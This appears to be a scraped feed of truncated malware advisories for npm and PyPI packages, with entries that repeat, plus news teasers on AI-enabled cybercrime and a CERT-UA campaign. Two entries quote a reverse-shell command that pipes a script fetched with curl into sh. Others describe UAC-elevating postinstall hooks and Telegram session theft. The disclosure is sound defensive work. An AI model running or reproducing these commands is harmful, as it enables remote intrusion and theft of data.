Malicious code in hgdvfuflnb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dfc8e3c1c86c0f0589e1ab4d2a6e3f3a757b758c1f126e0d197f3924d9637922 Package [email protected] contains a single file, index.html, declared as the package main. The HTML impersonates a Cloudflare 'Just a moment...'...

Malicious code in bmgki3g6fh3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9212dc22bc5983b7b163b7851e76596bda812485709581a8dd61475630db4450 The package contains a single file, index.html, declared as main. The page renders a spoofed Cloudflare 'Just a moment...' / Turnstile 'security...

Malicious code in biklimaster (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 16fe526cf29535e21a0d1c3206405e20d0447ca01f25ea46dc9569ab52066555 The npm postinstall hook node bin/biklimaster.js install --postinstall prompts for UAC elevation and then reconfigures the installer's Windows host...

Malicious code in @bikli/bikli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 47a9677012577b19f49cd85cc6455abea3b1363e77a54030901ecf916b04c50b No static or traced indicators of supply-chain attack behavior were observed in this package version. No lifecycle scripts fetching or executing remo...

Malicious code in biklirouter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector aa35b0b8fe046a8dd43a4307742214223c3f908b5ba65fa6d24dae18b33cff9b Package ships a compiled Next.js application server routes under app/.next-cli-build/server/app/api/ implementing an LLM/AI-provider router: OAuth...

MAL-2026-13788 Malicious code in bikliwrapper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7404df615e8b246acda595b16f7282cea11addcf7a3d3148c1463a65b4d25852 bikliwrapper's npm postinstall script re-executes itself with UAC elevation Start-Process -Verb RunAs -WindowStyle Hidden and, after the single UAC...

MAL-2026-13787 Malicious code in biklirouter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector aa35b0b8fe046a8dd43a4307742214223c3f908b5ba65fa6d24dae18b33cff9b Package ships a compiled Next.js application server routes under app/.next-cli-build/server/app/api/ implementing an LLM/AI-provider router: OAuth...

Malicious code in bikliwrapper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7404df615e8b246acda595b16f7282cea11addcf7a3d3148c1463a65b4d25852 bikliwrapper's npm postinstall script re-executes itself with UAC elevation Start-Process -Verb RunAs -WindowStyle Hidden and, after the single UAC...

MAL-2026-13778 Malicious code in @bikli/bikli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 47a9677012577b19f49cd85cc6455abea3b1363e77a54030901ecf916b04c50b No static or traced indicators of supply-chain attack behavior were observed in this package version. No lifecycle scripts fetching or executing remo...

Malicious code in @bikli/cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 494fd55b20aca27d1d7353454574b7575074d84eee1367b6854c159f274c4dcc No a static rule matches and no traced behavioral findings were produced for this package version. The scanned files contain no evidence of...

Weaponized AI: The Commoditization of Cybercrime

Weaponized AI: The Commoditization of Cybercrime By Jambul Tologonov · August 12, 2026 Executive Summary The Trellix Advanced Research Center has been actively monitoring dark web forums and criminal communication channels for emerging threats tied to artificial intelligence AI. What we are...

Malicious code in internallib_v164 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8ea0eaa858b83bda14f7093d473013b1fbc1301d8f1401a837e67b2a8850d86 index.js exports a function that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444 | sh", fetching a reverse-shell script from...

MAL-2026-13764 Malicious code in internallib_v164 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8ea0eaa858b83bda14f7093d473013b1fbc1301d8f1401a837e67b2a8850d86 index.js exports a function that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444 | sh", fetching a reverse-shell script from...

Malicious code in telebot-pro (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b0e8fd9df00738115f53aef8944ede8d1f3d2daf360c2d227b54204ee62e8f89 On instantiation of TeleBot, the package spawns a background thread that copies the Telegram Desktop tdata directory from %APPDATA%\Telegram...

MAL-2026-13757 Malicious code in telebot-pro (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b0e8fd9df00738115f53aef8944ede8d1f3d2daf360c2d227b54204ee62e8f89 On instantiation of TeleBot, the package spawns a background thread that copies the Telegram Desktop tdata directory from %APPDATA%\Telegram...

Sandworm-Linked UAC-0145 Uses Fake Job Interviews to Push VPN That Can Run Commands

The Computer Emergency Response Team of Ukraine CERT-UA has disclosed details of a new social engineering campaign orchestrated by Russian nation-state threat actors targeting IT workers in the country by masquerading as recruiters to trick them into installing malware. CERT-UA pinned the activit...

MAL-2026-13769 Malicious code in svelte-vim-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b0c572d78a3be9d0fc30b6124c044c329fec518da18bb9e1ca3c22d7f18195e3 No a static rule matches or traced behavior indicative of exfiltration, install-time remote code execution, silent relay, credential distribution,...

Malicious code in svelte-vim-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b0c572d78a3be9d0fc30b6124c044c329fec518da18bb9e1ca3c22d7f18195e3 No a static rule matches or traced behavior indicative of exfiltration, install-time remote code execution, silent relay, credential distribution,...

MAL-2026-13768 Malicious code in sui-gql-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 763079354e471aa241953530a79a946e060402895da52ca47628f1817c452d7e Analysis of the package did not surface install-time lifecycle scripts, credential access, network exfiltration, dropper behavior, silent-relay, or...

Malicious code in sui-gql-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 763079354e471aa241953530a79a946e060402895da52ca47628f1817c452d7e Analysis of the package did not surface install-time lifecycle scripts, credential access, network exfiltration, dropper behavior, silent-relay, or...